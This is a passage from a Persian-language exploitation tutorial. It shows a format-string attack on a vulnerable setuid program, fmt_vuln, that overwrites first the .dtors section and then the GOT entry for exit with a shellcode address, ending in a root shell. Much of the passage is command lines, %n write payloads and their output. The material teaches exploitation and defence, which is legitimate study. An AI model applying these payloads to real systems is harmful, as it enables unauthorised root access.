‫داده )ﺧﺎﻟﯽ( ﺑﺎﺷﺪ )ﭼﻮن ﻫﯿﭻ ﺗﺎﺑﻌﯽ در ﺑﺮﻧﺎﻣﻪ ‪ fmt_vuln‬ﺑﺎ ﺧﺎﺻﯿﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﺗﻌﺮﯾﻒ ﻧﺸﺪه ﺑﻮد(‪ .‬اﯾـﻦ ﻣـﺴﺌﻠﻪ‬
‫را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ‪ nm‬و ‪ objdump‬ﺑﺮرﺳﯽ ﮐﺮد‪.‬‬
‫‪$ nm ./fmt_vuln | grep DTOR‬‬
‫__‪0804964c d __DTOR_END‬‬
‫__‪08049648 d __DTOR_LIST‬‬
‫‪$ objdump -s -j .dtors ./fmt_vuln‬‬

‫‪./fmt_vuln:‬‬ ‫‪file format elf32-i386‬‬

‫‪Contents of section .dtors:‬‬


‫‪8049648 ffffffff 00000000‬‬ ‫‪........‬‬
‫‪$‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺧﺮوﺟﯽ ﻧﯿﺰ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ ،‬اﯾﻦ ﺑﺎر ﻓﺎﺻﻠﻪ ﺑـﯿﻦ __‪ __DTOR_LIST‬و __‪ __DTOR_END‬ﺗﻨﻬـﺎ ‪4‬‬
‫ﺑﺎﯾﺖ اﺳﺖ‪ ،‬ﯾﻌﻨﯽ ﻫﯿﭻ آدرﺳﯽ ﺑﯿﻦ آﻧﻬﺎ وﺟﻮد ﻧﺪارد‪ .‬ﻣﯽ ﺗﻮان ﺑﺎ ‪ objdump‬اﯾﻦ ﻣﺴﺌﻠﻪ را ﺑﺮرﺳﯽ ﮐﺮد‪.‬‬
‫ﭼﻮن ﺑﺨﺶ ‪ .dtor‬ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ اﺳﺖ‪ ،‬ﻟﺬا اﮔﺮ آدرسِ ﺑﻌـﺪ از آدرﺳـﯽ را ﮐـﻪ ﺣـﺎوی ﻣﻘـﺪار ‪ 0xffffffff‬اﺳـﺖ‪ ،‬ﺑـﺎ ﯾـﮏ‬
‫آدرس ﺣﺎﻓﻈﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﯿﻢ‪ ،‬آﻧﮕﺎه ﭘﺲ از ﺧﺮوج ﺑﺮﻧﺎﻣﻪ روﻧﺪ اﺟﺮا ﺑﻪ آﻧﺠﺎ ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ‪ .‬ﭘﺲ ﻣﮑﺎن ﻣﻮرد ﻧﻈﺮ )ﮐـﻪ‬
‫ﺣﺎوی ﻣﻘﺪار‪ 0xffffffff‬اﺳﺖ( ﻣﺎ از اﺿﺎﻓﻪ ﮐﺮدن ‪ 4‬واﺣﺪ ﺑﻪ آدرس __‪ __DTOR_LIST‬ﺑﺪﺳﺖ ﻣﯽ آﯾـﺪ ﮐـﻪ ﻫﻤـﺎن‬
‫‪ 0x0804964c‬اﺳﺖ )ﮐﻪ اﻟﺒﺘﻪ ﺑﻪ دﻟﯿﻞ ﺧﺎﻟﯽ ﺑﻮدن ﺑﺨﺶ ‪ .dtors‬در اﯾﻦ ﻣﻮرد‪ ،‬آدرس __‪ __DTOR_END‬ﺑﺪﺳـﺖ‬
‫ﻣﯽ آﯾﺪ(‪.‬‬
‫اﮔﺮ ﺑﺮﻧﺎﻣﻪ ‪ suid root‬ﺑﻮده و ﺑﺘﻮان اﯾﻦ آدرس را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﺮد‪ ،‬آﻧﮕﺎه دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾـﺸﻪ ﻣﻤﮑـﻦ ﺧﻮاﻫـﺪ‬
‫ﺑﻮد‪.‬‬
‫'‪$ export SHELLCODE='cat shellcode‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffd90‬‬
‫‪$ pcalc 0x90 + 4‬‬
‫‪148‬‬ ‫‪0x94‬‬ ‫‪0y10010100‬‬
‫‪$‬‬
‫ﺷﻞ‪-‬ﮐﺪ را ﻣﯽ ﺗﻮان در ﯾﮏ ﻣﺘﻐﯿﺮﻣﺤﯿﻄﯽ ﻗﺮار داد و ﻃﺒﻖ ﻣﻌﻤﻮل ﻣﯽ ﺗﻮان آدرس را ﭘـﯿﺶ ﺑﯿﻨـﯽ ﮐـﺮد‪ .‬ﭼـﻮن اﺧـﺘﻼف‬
‫ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﯿﻦ ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ )‪ (getenvaddr‬و ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ )‪ (fmt_vuln‬دو ﺑﺎﯾﺖ اﺳﺖ‪ ،‬ﻟﺬا ﺑﻬﻨﮕﺎم اﺟﺮای‬
‫‪ ،fmt_vuln‬ﺷﻞ‪-‬ﮐﺪ در آدرس ‪ 0xbffffd94‬ﻗﺮار ﺧﻮاﻫﺪ ﮔﺮﻓﺖ‪ .‬ﺑـﺎ اﺳـﺘﻔﺎده از آﺳـﯿﺐ ﭘـﺬﯾﺮی رﺷـﺘﻪ‪-‬ﻓﺮﻣـﺖ ﺑﺎﯾـﺪ‬
‫آدرس ﺑﺪﺳﺖ آﻣﺪه را در ﺑﺨﺶ ‪) .dtors‬واﻗﻊ در آدرس ‪ (0x0804964c‬ﻧﻮﺷﺖ‪ .‬در اﯾﻨﺠﺎ ﺑﺮای وﺿـﻮح ﻣﺜـﺎل‪ ،‬ﻣﺘﻐﯿـﺮ‬
‫‪ test_val‬اﺑﺘﺪا اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدد‪ ،‬اﻣﺎ ﻫﻤﻪ ﻣﺤﺎﺳﺒﺎت ﻻزﻣﻪ را ﻣﯽ ﺗﻮان ﺑﻪ ﻃﻮر ﭘﯿﺸﺮﻓﺘﻪ اﻧﺠﺎم داد‪.‬‬
‫‪$ pcalc 0x94 - 16‬‬
‫‪132‬‬ ‫‪0x84‬‬ ‫‪0y10000100‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x‬‬
‫‪%4\$n‬‬
‫‪The right way:‬‬
‫‪%3$132x%4$n‬‬
‫‪The wrong way:‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 148 0x00000094‬‬
‫‪67‬‬
$ pcalc 0xfd - 0x94
105 0x69 0y1101001
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n
The right way:
%3$132x%4$n%3$105x%5$n
The wrong way:

3e8

3e8
[*] test_val @ 0x08049570 = 64916 0x0000fd94
$ pcalc 0xff - 0xfd
2 0x2 0y10
$ pcalc 0x1ff - 0xfd
258 0x102 0y100000010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n
The wrong way:

3e8
3e8

3e8
[*] test_val @ 0x08049570 = 33553812 0x01fffd94
$ pcalc 0xbf - 0xff
-64 0xffffffc0 0y11111111111111111111111111000000
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:

3e8

3e8

3e8

3e8
[*] test_val @ 0x08049570 = -1073742444 0xbffffd94
$
4 ‫ ﺗﻨﻬـﺎ ﺗﻨﻬـﺎ ﮐﺎﻓﯿـﺴﺖ ﮐـﻪ‬، .dtors ‫( در ﺑﺨـﺶ‬test_val ‫ )ﺑـﻪ ﺟـﺎی ﻣﺘﻐﯿـﺮ‬0xbffffd94 ‫اﮐﻨﻮن ﺟﻬﺖ ﻧﻮﺷﺘﻦ آدرس‬
‫ ﺗﻐﯿﯿـﺮ‬0x0804964f ‫ و‬0x0804964e ،0x0804964d ،0x0804964c ‫آدرس ﻧﺨﺴﺖ در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ را ﺑﻪ‬
.‫دﻫﯿﻢ‬
$ ./fmt_vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:

3e8

68
‫‪3e8‬‬

‫‪3e8‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫اﮔﺮﭼﻪ ﺑﺨﺶ ‪ .dtors‬ﺑﻪ درﺳﺘﯽ ﺑﺎ آدرس ﭘﻮچ ‪ 0x00000000‬ﺧﺎﺗﻤﻪ ﻧﯿﺎﻓﺘﻪ اﺳﺖ‪ ،‬اﻣﺎ ﻫﻨﻮز ادرس ﺷﻞ‪-‬ﮐـﺪ ﺑـﻪ ﻋﻨـﻮان‬
‫ﯾﮏ ﺗﺎﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه ﻓﺮض ﻣﯽ ﺷﻮد‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ ﺑﻪ ﻫﻨﮕﺎم ﺧﺮوج ﺑﺮﻧﺎﻣﻪ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه و ﺑـﻪ ﻣـﺎ ﯾـﮏ ﭘﻮﺳـﺘﻪ رﯾـﺸﻪ را‬
‫اﻋﻄﺎ ﺧﻮاﻫﺪ ﮐﺮد‪.‬‬

‫‪ .2,9,7‬ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ )‪(GOT‬‬

‫ﭼﻮن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮاﻧﺪ از ﯾﮏ ﺗﺎﺑﻊ ﻣﻮﺟﻮد در ﯾﮏ ﮐﺘﺎﺑﺨﺎﻧﻪ اﺷﺘﺮاﮐﯽ ﺑﻪ دﻓﻌﺎت اﺳﺘﻔﺎده ﮐﻨﺪ‪ ،‬ﻟﺬا داﺷﺘﻦ ﯾﮏ ﺟـﺪول‬
‫ﺑﺮای ارﺟﺎع ﺗﻤﺎم ﺗﻮاﺑﻊ ﻣﻔﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﺨﺶ وﯾﮋه دﯾﮕﺮی در ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﺑﻪ اﯾﻦ ﻣﻨﻈـﻮر ﺑﮑـﺎر ﻣـﯽ رود‬
‫ﮐﻪ اﺻﻄﻼﺣﺎ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ )‪ (Procedure Linkage Table‬ﯾﺎ ﺑﻪ ﻃﻮر ﺧﻼﺻﻪ ‪ PLT‬ﻧﺎم دارد‪ .‬اﯾﻦ ﺑﺨـﺶ ﺣـﺎوی‬
‫دﺳﺘﻮرات ﭘﺮش )‪ (jump‬زﯾﺎدی اﺳﺖ ﮐﻪ ﯾﮏ ﻣﺘﻨﺎﻇﺮ ﺑﺎ آدرس ﯾﮏ ﺗﺎﺑﻊ اﺳﺖ‪ .‬ﻫﺮ زﻣﺎن ﮐﻪ ﻧﯿﺎز ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗـﺎﺑﻊ‬
‫اﺷﺘﺮاﮐﯽ ﺑﺎﺷﺪ‪ ،‬روﻧﺪ اﺟﺮا ﺑﻪ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ ﻫﺪاﯾﺖ ﻣﯽ ﮔﺮدد‪.‬‬
‫ﻣﯽ ﺗﻮان ﺑﺎ ﺑﺮﻧﺎﻣﻪ ‪ objdump‬ﺑﺨﺶ ‪ PLT‬در ﺑﺮﻧﺎﻣﻪ ‪) fmt_vuln‬دارای آﺳﯿﺐ ﭘـﺬﯾﺮی رﺷـﺘﻪ‪-‬ﻓﺮﻣـﺖ( را دﯾﺰاﺳـﻤﺒﻞ‬
‫ﮐﺮده و دﺳﺘﻮرات ﭘﺮش را ﻣﺸﺎﻫﺪه ﻧﻤﻮد‪:‬‬
‫‪$ objdump -d -j .plt ./fmt_vuln‬‬

‫‪./fmt_vuln:‬‬ ‫‪file format elf32-i386‬‬

‫‪Disassembly of section .plt:‬‬

‫‪08048290 <.plt>:‬‬
‫‪8048290:‬‬ ‫‪ff 35‬‬ ‫‪58 96 04 08‬‬ ‫‪pushl‬‬ ‫‪0x8049658‬‬
‫‪8048296:‬‬ ‫‪ff 25‬‬ ‫‪5c 96 04 08‬‬ ‫‪jmp‬‬ ‫‪*0x804965c‬‬
‫‪804829c:‬‬ ‫‪00 00‬‬ ‫‪add‬‬ ‫)‪%al,(%eax‬‬
‫‪804829e:‬‬ ‫‪00 00‬‬ ‫‪add‬‬ ‫)‪%al,(%eax‬‬
‫‪80482a0:‬‬ ‫‪ff 25‬‬ ‫‪60‬‬ ‫‪96‬‬ ‫‪04‬‬ ‫‪08‬‬ ‫‪jmp‬‬ ‫‪*0x8049660‬‬
‫‪80482a6:‬‬ ‫‪68 00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪push‬‬ ‫‪$0x0‬‬
‫‪80482ab:‬‬ ‫‪e9 e0‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪jmp‬‬ ‫>‪8048290 <_init+0x18‬‬
‫‪80482b0:‬‬ ‫‪ff 25‬‬ ‫‪64‬‬ ‫‪96‬‬ ‫‪04‬‬ ‫‪08‬‬ ‫‪jmp‬‬ ‫‪*0x8049664‬‬
‫‪80482b6:‬‬ ‫‪68 08‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪push‬‬ ‫‪$0x8‬‬
‫‪80482bb:‬‬ ‫‪e9 d0‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪jmp‬‬ ‫>‪8048290 <_init+0x18‬‬
‫‪80482c0:‬‬ ‫‪ff 25‬‬ ‫‪68‬‬ ‫‪96‬‬ ‫‪04‬‬ ‫‪08‬‬ ‫‪jmp‬‬ ‫‪*0x8049668‬‬
‫‪80482c6:‬‬ ‫‪68 10‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪push‬‬ ‫‪$0x10‬‬
‫‪80482cb:‬‬ ‫‪e9 c0‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪jmp‬‬ ‫>‪8048290 <_init+0x18‬‬
‫‪80482d0:‬‬ ‫‪ff 25‬‬ ‫‪6c‬‬ ‫‪96‬‬ ‫‪04‬‬ ‫‪08‬‬ ‫‪jmp‬‬ ‫‪*0x804966c‬‬
‫‪80482d6:‬‬ ‫‪68 18‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪00‬‬ ‫‪push‬‬ ‫‪$0x18‬‬
‫‪80482db:‬‬ ‫‪e9 b0‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪ff‬‬ ‫‪jmp‬‬ ‫>‪8048290 <_init+0x18‬‬
‫‪$‬‬
‫ﯾﮑﯽ از اﯾﻦ دﺳﺘﻮرات ﭘﺮش ﻣﺮﺗﺒﻂ ﺑﺎ ﺗﺎﺑﻊ ‪) exit‬ﮐﻪ در اﻧﺘﻬﺎی ﺑﺮﻧﺎﻣﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد( اﺳﺖ‪ .‬اﮔﺮ ﺑﺘﻮان دﺳﺘﻮر ﭘﺮش‬
‫ﻣﻮرد اﺳﺘﻔﺎده ﺑﺮای ﺗﺎﺑﻊ ‪ exit‬را ﻃﻮری دﺳﺘﮑﺎری ﮐﺮد ﮐﻪ روﻧﺪ اﺟﺮا ﺑﻪ ﺟﺎی ﺗﺎﺑﻊ ‪ ،exit‬ﺑﻪ ﺷﻞ‪-‬ﮐﺪ ﻫﺪاﯾﺖ ﺷﻮد‪ ،‬آﻧﮕـﺎه‬
‫ﻣﯽ ﺗﻮان ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را ﺗﻮﻟﯿﺪ ﮐﺮد‪ .‬ﻟﺬا در ﺣﺎل ﺣﺎﺿﺮ ﺑﺨﺶ ‪ PLT‬را ﺑﺎ ﺟﺰﺋﯿﺎت ﺑﯿﺸﺘﺮی ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﯿﻢ‪.‬‬
‫‪$ objdump -h ./fmt_vuln | grep -A 1 .plt‬‬
‫‪8 .rel.plt 00000020 08048258 08048258 00000258 2**2‬‬
‫‪CONTENTS, ALLOC, LOAD, READONLY, DATA‬‬
‫‪--‬‬

‫‪69‬‬
‫‪10 .plt‬‬ ‫‪00000050 08048290 08048290 00000290 2**2‬‬
‫‪CONTENTS, ALLOC, LOAD, READONLY, CODE‬‬
‫‪$‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ اﯾﻦ ﺧﺮوﺟﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ ،‬ﻣﺘﺎﺳﻔﺎﻧﻪ ﺟﺪول ﭘﯿﻮﻧـﺪ روﯾـﻪ در ﺣﺎﻟـﺖ ﻓﻘـﻂ‪-‬ﺧﻮاﻧـﺪﻧﯽ )‪ (read-only‬ﻗـﺮار‬
‫دارد‪ .‬اﻣﺎ ﺑﺎ ﺑﺮرﺳﯽ ﺑﯿﺸﺘﺮ ﻣﻌﻠﻮم ﻣﯽ ﮔﺮدد ﮐﻪ دﺳﺘﻮرات ﭘﺮش‪) ،‬ﻣـﺴﺘﻘﯿﻤﺎ( ﺑـﻪ آدرس ﻫـﺎ ﭘـﺮش ﻧﻤـﯽ ﮐﻨﻨـﺪ‪ ،‬ﺑﻠﮑـﻪ ﺑـﻪ‬
‫اﺷﺎرﮔﺮﻫﺎﯾﯽ از آن آدرس ﻫﺎی ﭘﺮش ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﭘﺲ ﻧﺘﯿﺠﻪ ﻣﯽ ﮔﯿﺮﯾﻢ ﮐﻪ ﻣﮑﺎن واﻗﻌﯽِ ﺗﻤﺎم ﺗﻮاﺑﻊ در آدرﺳﻬﺎی ﺣﺎﻓﻈـﻪ‬
‫‪ 0x08049668 ،0x08049664 ،0x08049660‬و ‪ 0x0804966c‬ﻗﺮار دارد‪.‬‬
‫اﯾﻦ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ در ﺑﺨﺶ وﯾﮋه دﯾﮕﺮی ﺑﻪ ﻧﺎم ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ )‪ (global offset table‬ﯾﺎ ﺑﻪ ﻃﻮر ﺧﻼﺻﻪ‬
‫‪ GOT‬ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬ﻧﮑﺘﻪ ﻣﻬﻢ در راﺑﻄﻪ ﺑﺎ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﺟﺪول ﺑﻪ ﺻﻮرت ﻓﻘـﻂ‪-‬ﺧﻮاﻧـﺪﻧﯽ‬
‫ﻋﻼﻣﺖ ﮔﺬاری ﻧﺸﺪه اﺳﺖ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ را در ﺧﺮوﺟﯽ زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫‪$ objdump -h ./fmt_vuln | grep -A 1 .got‬‬
‫‪20 .got‬‬ ‫‪00000020 08049654 08049654 00000654 2**2‬‬
‫‪CONTENTS, ALLOC, LOAD, DATA‬‬
‫‪$ objdump -d -j .got ./fmt_vuln‬‬
‫‪./fmt_vuln: file format elf32-i386‬‬

‫‪Disassembly of section .got:‬‬

‫‪08049654 <_GLOBAL_OFFSET_TABLE_>:‬‬
‫‪8049654:‬‬ ‫‪78 95 04 08 00 00 00 00 00 00 00 00 a6 82 04 08‬‬
‫‪x...............‬‬
‫‪8049664:‬‬ ‫‪b6 82 04 08 c6 82 04 08 d6 82 04 08 00 00 00 00‬‬
‫‪................‬‬
‫‪$‬‬
‫ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ دﺳﺘﻮر ﭘـﺮش ‪ jmp *0x08049660‬در ﺟـﺪول ﭘﯿﻮﻧـﺪ روﯾـﻪ در ﺣﻘﯿﻘـﺖ روﻧـﺪ اﺟـﺮای‬
‫ﺑﺮﻧﺎﻣﻪ را ﺑﻪ آدرس ‪ 0x080482a6‬ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ‪ ،‬ﭼﺮا ﮐﻪ در آدرس ‪ 0x08049660‬واﻗﻊ در ﺟﺪول آﻓﺴﺖ ﻋﻤـﻮﻣﯽ‪،‬‬
‫ﻣﻘﺪار‪ 0x080482a6‬ﮔﺮﻓﺘﻪ اﺳـﺖ‪ .‬دﺳـﺘﻮرات ﭘـﺮش ﺑﻌـﺪی )‪ jmp *0x08049668 ،jmp *0x08049664‬و ‪jmp‬‬
‫‪ (*0x0804966c‬ﺑﻪ ﺗﺮﺗﯿﺐ ﺑﻪ آدرس ﻫﺎی ‪ 0x080482c6 ،0x080482b6‬و ‪ 0x080482d6‬ﭘﺮش ﻣﯽ ﮐﻨﻨـﺪ‪ .‬ﭼـﻮن‬
‫اﻣﮑﺎن ﻧﻮﺷﺘﻦ در ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ وﺟﻮد دارد‪ ،‬ﻟﺬا اﮔﺮ ﯾﮑﯽ از اﯾﻦ آدرﺳﻬﺎ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد‪ ،‬آﻧﮕﺎه ﻣﯽ ﺗـﻮان روﻧـﺪ‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ را از ﻃﺮﯾﻖ ﺟﺪول ﭘﯿﻮﻧﺪ ﻋﻤﻮﻣﯽ )ﻋﻠﯿﺮﻏﻢ ﻋﺪم اﻣﮑﺎن ﻧﻮﺷﺘﻦ در آن( ﮐﻨﺘﺮل ﮐﺮد‪.‬‬
‫ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻻزم اﺳﺖ ﮐﻪ ﺑﺎ ﻧﻤﺎﯾﺶ ﺟﺎﺑﺠﺎﯾﯽ ﭘﻮﯾﺎی اﻗﻼم ﺑﺮای ﺑﺎﯾﻨﺮی در ‪ objdump‬اﻃﻼﻋﺎت ﻻزم از ﻗﺒﯿﻞ ﻧﺎم ﺗﻮاﺑـﻊ‬
‫را ﻣﯽ ﺗﻮان ﺑﺪﺳﺖ آورد‪.‬‬
‫‪$ objdump -R ./fmt_vuln‬‬

‫‪./fmt_vuln: file format elf32-i386‬‬

‫‪DYNAMIC RELOCATION RECORDS‬‬


‫‪OFFSET‬‬ ‫‪TYPE‬‬ ‫‪VALUE‬‬
‫‪08049670 R_386_GLOB_DAT‬‬ ‫__‪__gmon_start‬‬
‫‪08049660 R_386_JUMP_SLOT‬‬ ‫‪__libc_start_main‬‬
‫‪08049664 R_386_JUMP_SLOT‬‬ ‫‪printf‬‬
‫‪08049668 R_386_JUMP_SLOT‬‬ ‫‪exit‬‬
‫‪0804966c R_386_JUMP_SLOT‬‬ ‫‪strcpy‬‬

‫‪$‬‬
‫ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ آدرس ﺗﺎﺑﻊ ‪ exit‬در ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ در آدرس ‪ 0x08049668‬واﻗﻊ ﺷـﺪه اﺳـﺖ‪.‬‬
‫اﮔﺮ آدرس ﺷﻞ‪-‬ﮐﺪ را در اﯾﻦ ﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﯿﻢ‪ ،‬آﻧﮕﺎه ﺑﺮﻧﺎﻣﻪ ﭘﺲ از ﺧﺮوج ﺑﺎﯾﺴﺘﯽ ﺷﻞ‪-‬ﮐﺪ را ﻓﺮاﺧﻮاﻧﯽ ﮐﻨﺪ )در‬
‫ﺣﺎﻟﯿﮑﻪ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﻫﻤﺎن ﺗﺎﺑﻊ ‪ exit‬اﺳﺖ(‪.‬‬

‫‪70‬‬
‫ﻃﺒﻖ ﻣﻌﻤﻮل ﺷﻞ‪-‬ﮐﺪ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻗﺮار داده‪ ،‬ﻣﮑﺎن واﻗﻌﯽ آﻧﺮا ﭘﯿﺶ ﺑﯿﻨﯽ ﮐﻨﯿﻢ و از آﺳﯿﺐ ﭘـﺬﯾﺮی رﺷـﺘﻪ‪-‬‬
‫ﻓﺮﻣﺖ ﺑﺮای ﻧﻮﺷﺘﻦ ﻣﻘﺪار )ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس( اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ‪ .‬در ﺣﻘﯿﻘﺖ از ﻗﺒﻞ ﺷﻞ‪-‬ﮐﺪ ﻣﯽ ﺑﺎﯾﺴﺖ در ﻣﺤﯿﻂ ﻗـﺮار‬
‫داده ﺷﺪه ﺑﺎﺷﺪ‪ .‬در اﯾﻦ ﺻﻮرت ﺗﻨﻬﺎ ﻧﯿﺎز ﺑﻪ ﺗﻄﺒﯿﻖ ‪ 16‬ﺑﺎﯾﺖ اﺑﺘﺪای رﺷﺘﻪ‪-‬ﻓﺮﻣـﺖ اﺳـﺖ‪ .‬ﺑـﺮای آﺷـﮑﺎر ﺷـﺪن ﻫـﺮ ﭼـﻪ‬
‫ﺑﯿﺸﺘﺮ ﻣﻮﺿﻮع در اﯾﻦ ﻣﺜﺎل‪ ،‬از ﻣﺤﺎﺳﺒﺎت در ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ‪ %x‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ‪.‬‬
‫'‪$ export SHELLCODE='cat shellcode‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffd90‬‬
‫‪$ pcalc 0x90 + 4‬‬
‫‪148‬‬ ‫‪0x94‬‬ ‫‪0y10010100‬‬
‫‪$ pcalc 0x94 - 16‬‬
‫‪132‬‬ ‫‪0x84‬‬ ‫‪0y10000100‬‬
‫‪$ pcalc 0xfd - 0x94‬‬
‫‪105‬‬ ‫‪0x69‬‬ ‫‪0y1101001‬‬
‫‪$ pcalc 0x1ff - 0xfd‬‬
‫‪258‬‬ ‫‪0x102‬‬ ‫‪0y100000010‬‬
‫‪$ pcalc 0x1bf - 0xff‬‬
‫‪192‬‬ ‫‪0xc0‬‬ ‫‪0y11000000‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x68\x96\x04\x08\x69\x96\x04\x08\x6a\x96\x04\x08\x6b\x96\x04\x08"'%3\$132x‬‬
‫\‪%4\$n%3‬‬
‫‪$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n‬‬
‫‪The right way:‬‬
‫‪%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n‬‬
‫‪The wrong way:‬‬

‫‪3e8‬‬

‫‪3e8‬‬

‫‪3e8‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫وﻗﺘﯽ ﺑﺮﻧﺎﻣﻪ ‪ fmt_vuln‬ﺳﻌﯽ ﺑﺮ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ‪ exit‬ﻣﯽ ﮐﻨﺪ‪ ،‬ﺑﻪ آدرس ﺗﺎﺑﻊ ‪ exit‬در ﺟﺪول آﻓـﺴﺖ ﻋﻤـﻮﻣﯽ ﻣﺮاﺟﻌـﻪ‬
‫ﺷﺪه و از ﻃﺮﯾﻖ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ ﺑﻪ آن آدرس ﭘﺮش ﻣﯽ ﺷﻮد‪ .‬ﭼﻮن از ﻃﺮﯾﻖ ﺟﺎﯾﻨﻮﯾﺴﯽ‪ ،‬آدرس ﺣﻘﯿﻘﯽ را ﺑـﺎ آدرس‬
‫ﺷﻞ‪-‬ﮐﺪ در ﻣﺤﯿﻂ ﺗﻌﻮﯾﺾ ﮐﺮدﯾﻢ‪ ،‬ﻟﺬا ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ اﯾﺠﺎد ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
